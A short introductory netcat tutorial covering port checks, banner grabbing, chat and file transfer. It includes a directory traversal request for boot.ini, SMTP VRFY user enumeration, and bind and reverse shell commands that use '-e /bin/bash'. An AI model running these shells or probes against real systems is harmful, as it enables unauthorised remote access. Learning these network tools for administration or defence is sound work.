Learn Netcat - Swiss Army Knife for TCP/IP in 5 minutes !!

Netcat - Swiss Army Knife for TCP IP.txt

Netcat
======

The Netcat tool is known as the Swiss Army knife for TCP/IP connections.
(netcat or nc both are same)

nc -h
netcat -h
man netcat

To verify the ports open in the system manually
=================================================
# HTTP port 80
----------------

netcat -v www.somesite.com 80

GET / HTTP/1.1
GET /../../../boot.ini HTTP/1.1

nc -vv 192.168.0.103 80

# SMTP Port 25
---------------

nc -vv 192.168.0.103 25
VRFY vijayaand
VRFY vijayanand


# Pop3 Port 110
----------------
nc -vv 192.168.0.103 pop3
USER Vijay
Ok
PASS Nopass
Ok 0 messages

[We also can verify the unknown ports in the system]

Simple Chatting using Netcat
=================================
v -verbose
l - listen
p - port number

nc -lvp 1234  (in machine which has the ip 192.168.0.103)

nc 192.168.0.103 1234 (You can send text to machine as longs it gets interrupted)



Opening the shell in the remote machine using netcat
==========================================================
e - file to execute

1. Way

nc -lvp 1234 -e /bin/bash  (in machine which has the ip 192.168.0.103)

nc 192.168.0.103 1234

2. Another way

nc -lvp 1234  (in machine which has the ip 192.168.0.103)

nc 192.168.0.103 1234  -e /bin/bash



sending files via netcat
============================

nc -lvp 1234 > netcat_recv_file

nc 192.168.0.103 1234 < netcat_send_file


> - to receive the content
< - send the content